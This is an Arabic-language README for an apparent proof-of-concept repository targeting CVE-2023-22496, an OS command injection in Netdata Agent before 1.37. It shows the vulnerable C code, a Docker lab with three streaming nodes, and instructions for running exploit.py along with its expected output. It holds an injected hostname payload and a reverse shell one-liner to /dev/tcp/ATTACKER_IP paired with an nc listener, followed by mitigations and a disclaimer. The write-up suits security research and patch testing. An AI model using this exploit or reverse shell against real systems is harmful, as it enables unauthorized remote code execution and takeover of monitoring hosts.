
إثبات المفهوم لـ CVE-2023-22496: Netdata Agent <1.37 حقن أوامر نظام التشغيل عبر registry_hostname
الخطورة: حرجة (CVSS 9.8)
المتأثر: Netdata Agent < 1.37.0
تم الإصلاح في: v1.37.0
النوع: حقن أوامر نظام التشغيل (CWE-78)
CVE-2023-22496 هي ثغرة حقن أوامر نظام التشغيل في نظام إشعارات إنذار الصحة (health alarm) لـ Netdata. يتم إدراج registry_hostname لأي عقدة في سلسلة البث (streaming) في أمر شل دون تنظيف. المهاجم الذي يمكنه تعيين registry hostname في ملف تكوين Netdata يحقق تنفيذًا بعيدًا للكود (RCE) كمستخدم عملية netdata على أي عقدة أصلية (parent node) تقوم بمعالجة الإنذار.
health/health.cstatic inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
...
char cmd[LEN + 1];
snprintfz(cmd, LEN,
"exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
exec, // alarm-notify.sh
recipient, // e.g. "root"
host->registry_hostname, // ← NO SANITISATION — attacker-controlled
ae->name,
...
);
ae->exec_code = spawn_enq_cmd(cmd); // run via /bin/sh
...
}
يقوم spawn_enq_cmd بتمرير السلسلة إلى /bin/sh -c، والذي يقيّمها كشل. نظرًا لأن registry_hostname لا يتم تنظيفه أبدًا، يمكن للمهاجم حقن أوامر شل عشوائية.
execالحقن البسيط `'; cmd; '` لا يعمل لأن exec هي أمر مدمج في الشل يستبدل عملية الشل الحالية، لذلك لا يتم الوصول إلى ;cmd; المحقون.
التجاوز الناجح — استخدام & (عامل الخلفية):
# What Netdata builds after injection:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...
# Execution flow:
# exec alarm-notify.sh 'root' 'x' & → runs in background; shell stays alive
# touch /tmp/pwned & → shell evaluates this; file created
# # → rest is a comment; ignored
┌──────────────┐ stream ┌──────────────┐ stream ┌──────────────────────┐
│ agent_child │ ───────▶ │ agent_middle │ ───────▶ │ agent_parent │
│ (المهاجم) │ │ (المرحل) │ │ (الضحية / الهدف) │
└──────────────┘ └──────────────┘ └──────────────────────┘
│
health_alarm_execute() fires
with injected registry_hostname
→ RCE on agent_parent
المهاجم يحتاج فقط إلى التحكم في أي عقدة في سلسلة البث. يتم نشر registry_hostname في بروتوكول البث واستخدامه كما هو من قبل كل عقدة أصلية عند استدعاء health_alarm_execute.
CVE-2023-22496-PoC/
├── Dockerfile # Builds netdata-vuln:v1.36.1 from source
├── docker-compose.yaml # 3-node vulnerable streaming environment
├── exploit.py # Standalone exploit script
├── config/
│ ├── parent_netdata.conf # Parent config (writable — exploit overwrites this)
│ ├── parent_stream.conf # Parent accepts streams + evaluates health
│ ├── parent_guid # Fixed node GUID
│ ├── middle_netdata.conf # Middle relay config
│ ├── middle_stream.conf
│ ├── middle_guid
│ ├── child_netdata.conf # Child sender config
│ ├── child_stream.conf
│ └── child_guid
└── README.md
docker compose)git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC
# Build takes ~5–15 min (compiles Netdata from source)
docker build -t netdata-vuln:v1.36.1 .
docker compose up -d
انتظر حوالي 15 ثانية لتهيئة Netdata، ثم تحقق:
# Parent web UI should return HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# Expected: "version": "v1.36.1-..."
# Default: create /tmp/pwned on the target (agent_parent)
python3 exploit.py "touch /tmp/pwned"
# Verify
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned
المخرجات المتوقعة:
======================================================================
CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
Shell command : 'touch /tmp/pwned'
Injected host : "x' & touch /tmp/pwned & #"
[*] Pre-flight: verifying Docker environment
[*] All 3 containers are running.
[*] Step 1: Writing injected netdata.conf for agent_parent
Written: config/parent_netdata.conf
registry hostname = "x' & touch /tmp/pwned & #"
[*] Step 2: Restarting agent_parent to load injected config
...
agent_parent is up and responding.
[*] Step 3: Waiting 65s for a disk_space WARNING alarm
[*] Step 4: Checking for command execution evidence
======================================================================
✅ SUCCESS — CVE-2023-22496 CONFIRMED
'/tmp/pwned' exists on agent_parent
======================================================================
# On your listener machine:
nc -lvnp 4444
# Run exploit (replace ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)
# Stop and remove containers + volumes
docker compose down -v
# Remove the image
docker rmi netdata-vuln:v1.36.1
| الإجراء | التفصيل |
|---|---|
| الترقية | تحديث Netdata Agent إلى ≥ v1.37.0 |
| التقييد | تقييد صلاحية الكتابة إلى netdata.conf |
| الشبكة | عزل منافذ البث (19999/tcp) إلى الشبكات الموثوقة فقط |
| التحقق | netdata --version — تأكد أنك لست على إصدار سابق لـ 1.37 |
الإصلاح في v1.37.0 يقوم بتنظيف registry_hostname عن طريق رفض أي أحرف خارج [a-zA-Z0-9._-] قبل إدراجه في أمر الشل.
هذا المستودع مقدّم لأغراض تعليمية وبحث أمني مصرح به فقط. تشغيل هذا PoC ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها هو غير قانوني. المؤلفون لا يتحملون أي مسؤولية عن سوء الاستخدام.